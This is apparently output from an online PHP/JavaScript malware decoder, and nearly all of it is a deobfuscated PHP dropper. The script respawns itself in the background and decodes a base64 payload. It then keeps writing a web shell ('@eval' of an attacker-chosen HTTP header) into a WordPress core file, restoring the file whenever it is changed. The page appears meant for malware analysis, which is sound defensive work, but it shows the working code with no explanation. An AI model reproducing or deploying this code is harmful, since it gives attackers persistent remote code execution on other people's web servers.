Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


$bllti = 0;
$cpqb = getmypid();
$twxl = file_get_contents("/proc/$cpqb/cmdline");
$twxl = str_replace("", " ", $twxl);
$twxl = preg_replace('~eval[^;]+;~', "'\\0'", $twxl);
$twxl .= '> /dev/null 2>&1 &';


while (true) {

    if ($bllti > 3) {
        system($twxl, $qfas);
        if ($qfas == 0) {
        exit;
        }
    }

    tatg('YTo1OntpOjA7czo2MToiL3Zhci93d3cvY2xpZW50cy9jbGllbnQwL3dlYjM2L3dlYi93cC1pbmNsdWRlcy9xdWVyeS1saXN0LnBocCI7aToxO047aToyO3M6MzI6IkBldmFsKCRfU0VSVkVSWydIVFRQXzY0QjZCMDAnXSk7IjtpOjM7YjowO2k6NDtzOjM0OiIvdmFyL3d3dy9jbGllbnRzL2NsaWVudDAvd2ViMzYvdG1wIjt9');
    $bllti++;
    sleep(3);
}

function tatg($zsjld) {
    list ($knux, $iabc, $txea, $degpz, $qjled) = unserialize(base64_decode($zsjld));

    if (!$qjled) {
    $qjled = dirname($knux);
    }

    file_put_contents($qjled.'/'.md5($txea), time());

    $bnlo = base64_decode('PD9waHA=').PHP_EOL.$txea;

    if (!file_exists($knux)) {
        file_put_contents($knux, $bnlo);
        return;
    }

    $dkpx = file_get_contents($knux);

    if (md5(trim($dkpx)) !== md5($bnlo)) {
        file_put_contents($knux, $bnlo);
        return;
    }
}




© 2023 Quttera Ltd. All rights reserved.